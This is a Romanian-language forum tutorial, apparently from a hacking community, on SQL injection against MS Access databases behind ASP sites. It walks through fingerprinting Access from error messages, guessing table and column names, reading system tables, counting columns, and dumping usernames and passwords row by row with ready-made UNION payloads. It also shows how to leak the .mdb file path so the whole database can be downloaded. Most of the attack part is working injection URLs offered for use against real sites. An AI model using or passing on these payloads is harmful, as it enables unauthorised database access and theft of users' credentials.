Jump to content
dancezar

[tutorial] Sql injection pe MSACCESS

Recommended Posts

  • Active Members
Posted (edited)

Sql injection pe MSACCES

1) Introducere

Ce este Ms access?

Este un sistem de stocare a datelor sub forma unei baze de date oferit de microsoft in pachetul Microsoft office

Ms access stocheaza datele sub forma de fisire .mdb astfel nu v-a fi nevoie sa folositi un server dedicat pentru baza de date (ex: mysql ,mssql, postgres).

Poate fi folosit si de libajele de programare web (PHP ,ASP) dar totusi cele mai intalnite cazuri sunt pe serverele IIS (asp).

2) Asemanari / Deosibiri intre Ms access si Mysql spre exemplu

Asemanari:

-Ambele folosesc ca limbaj SQL

-Datele sunt structurate pe tabele si coloane

Deosebiri:

-Ms access foloseste un fisier diferit pentru fiecare baza de date

-Pentru a face union based in MS ACCESS trebuie sa cunoasteti numele unui tabel existent

-Nu se folosesc commentarii pentru anularea sinstaxei singurul care functioneaza este %00 (NULL Byte)

2) Cum gasit vulnerabilitatea

Ca si la mysql testam cu ajutorul ' vom obtine o eroare si in general erorile apar sub forma:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

Dar totusi asta nu inseamna ca in spate se afla un un MS Access doarece se poate folosi acest OBDC si pe MSSQL.

Cum testam daca acolo este MSACCES? Simplu pe MSACCES ca sa faceti union aveti nevoie de un tabel pe cand pe MSSQL nu este nevoie.

Exemplu : site.com/news.asp?id=1 union select 1 -> Daca obtinem urmatoarea eroare inseamna ca sigur este MSACCESS : Query input must contain at least one table or query.

Daca obtineti urmatoarea eroare inseamna ca este MSSQL : All queries in an SQL statement containing a UNION operator must have an equal number of expressions in

3) Sa trecem in paine

Dupa cum spuneam mai sus avem nevoie de un tabel existent pentru a putea face union

Exemplu : union select null,null from tabel

Observatie: Ca sa fiti sigur folositi null in loc de numere (union select 1,2,3) , sunt cazuri in care MSACCESS face diferenta intre tipuri de date (string/INTEGER)

Observatie 2: Nu trebuie sa punem - in fata parametrului sau and 0, pentru anularea primului select !( id=-1 union select 1,2,3,4)

1.1) Sa ghicim un tabel existent

Pentru a ghici un tabel folosim o simpla sitaxa si in functie de rezultat ne vom da seama daca acolo exista acel tabel sau nu.

: and (select count(*) from [tabel] limit 1)>0

Daca veti obtine o eroare de genul :The Microsoft Jet database engine cannot find the input table or query 'plm' veti stii sigur ca acest tabel nu exista daca nu inseamna ca tabelul exista!

Exista cateva tabele care care exista ca default pe MSACCES:

MSysACEs

MSysObjects

MSysQueries

MSysRelationships

Dar in majoritatea cazurilor acestea sunt blocate si ati putea o eroare de genul:Record(s) cannot be read; no read permission on '

Dar in cazul in care acesta se poate citi putem afla numele tabelelor deoarece acestea contin numele tabelelor

Exemplu : union select null,null,Name from MSysACEs where type=1 --> sa zicem ca obtinem news il retinem

union select null,null,Name from MSysACEs where type=1 and Name not in('news') --> obtinem products

union select null,null,Name from MSysACEs where type=1 and Name not in('news','products') --> obtinem admin

.............................................................................................................

1.2) Pasul 2 sa ghicim numarul de coloane:

Sunt 2 posibilitati de a numara coloanele: Order by X Sau union select null , union select null,nul , union select null,null,null pana obtinem un rezultat pozitiv

Cazul fericit este cel in care se poate numara coloanele ca sa vedem daca putem numara coloanele cu order by facem in felul urmator:

: site.com/news.asp?id=1 order by 1%00 ---> rezultat pozitiv

site.com/news.asp?id=1 order by 1000000%00 --> daca obtinem eroarea Microsoft Jet database engine does not recognize '1000000' puteti numara coloanele cu ORDER BY asa cum erati obisnuiti pe MYSQL

Cazul nefericit este atunci cand obtinem o pagina fara eroare la order by 1000000
:(
atunci trebuie sa facem cu union pe rand

Exemplu:

site.com/news.asp?id=1 union selct null from tabelul_ghicit_la_pasul_1.1%00

site.com/news.asp?id=1 union selct null,null from tabelul_ghicit_la_pasul_1.1%00

site.com/news.asp?id=1 union selct null,null,null from tabelul_ghicit_la_pasul_1.1%00

......................................................................................

Pana nu mai obtineti eroarea The number of columns in the two selected tables or queries of a union query do not match.

1.3) Cautam o coloana vulnerabila .

Am spus anterior ca vom folosi null in loc de numere la coloanele din union doarece exista situatia in care se face diferenta intre tipurile de date de pe coloanele din primul select cu cel injectie.Daca punem null sa fiti sigur ca nu v-a aparea nimic in pagina sursa.

Cum cautam coloana vulnerabila?

Spre exemplu avem : site.com/news.asp?id=1 union select null,null,null%00

Vom pune un cuvant sa zicem 'test' pe fiecare coloana iar atunci cand acel cuvant apare in pagina sursa inseamna ca am gasit o coloana vulnerabila

Exemplu:

site.com/news.asp?id=1 union select 'test',null,null from users%00 --> nimic in pagina sursa

site.com/news.asp?id=1 union select null,'test',null%00 from users --> Bingo in pagina sursa apare test inseamna ca acea este coloana vulnerabila

Pentru cazurile in care '' nu sunt permise sau eliminate folosim functia CHR(cod_ascii)

site.com/news.asp?id=1 union select null,chr(74)%2bchr(65)%2bchr(73)%2bchr(74),null from users%00 --> Bingo in pagina sursa apare test inseamna ca acea este coloana vulnerabila (Echivalentul pentru 'test')

1.4) Gasirea unei coloane

Aici chiar nu avem ce face si vom fi nevoiti sa ghicim numele coloanelor: username ,password ,user_name,user_password,etc..

Ca sa ghicim o coloana folosim:

site.com/news.asp?id=1 union select null,coloana,null from users%00

Daca obtinem rezultate concrete in pagina inseamna ca am ghicit coloana daca obtinem eroarea:Too few parameters. Expected 1 ,neeee

Un trick pentru a afla prima coloana din tabelul curent este acesta

site.com/news.asp?id=1 having sum(1)=1 --> veti obtine You tried to execute a query that does not include the specified expression 'coloana'

1.5) Extragerea datelor

Dupa ce am aflat tabelul cu date si coloanele acum mai trebuie sa extragem ceva date.

Prima si prima data trebuie sa stim cate randuri trebuie sa extragem.Ca si la mysql ne folosim de COUNT(*) si obtinem numarul de randuri din tabel

site.com/news.asp?id=1 union select null,count(*),null from users%00

Sa zicem ca la 1.4 am gasit coloanele : user si password.

Ca sa facem dump la aceste coloane folosim sintaxa:

site.com/news.asp?id=1 union select null,user%2bpassword,null from users%00 --> sa zicem ca obtinem admin:admin123 trebuie sa retinem user-ul acesta ca sa putem trece la urmatorul (de retinut %2b este +)

site.com/news.asp?id=1 union select null,user%2bpassword,null from users where user not in('admin')%00 --> sa zicem ca obtinem guest

site.com/news.asp?id=1 union select null,user%2bpassword,null from users where user not in('admin','guest')%00 --> sa zicem ca obtinem user

site.com/news.asp?id=1 union select null,user%2bpassword,null from users where user not in('admin','guest','user')%00 --> si asa mai departe cred ca ati prins algoritmul

2) Aflarea locatiei bazei de date ( fisierul .mdb)

Folosim urmatoarea sintaxa;

site.com/news.asp?id=1 and (select * from nimic.nimic)

Si obtineti o eroarea care zice : Could not find file 'c:\server\htdocs\secret_location\nimic.mdb'.

Atunci veti stii ca fisierul cu baza de date se afla in acel folder si daca avet norocul sa puteti vedea Index of( exemplu : site.com/secret_location) veti putea descaraca baza de date si obtineti datele complete

Daca nu veti fi nevoiti sa ghicici numele bazei de date ( database.mdb users.mdb data_base.mdb ceva in genul)

Un cheat shet mai extins:

Si niste chestii mai interesante:

Sper sa va fie de ajutor lectura , daca da futeti un like
:D

Daca sunt greseli tehnice sau de gramatica va rog sa le semnalati

Edited by danyweb09

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...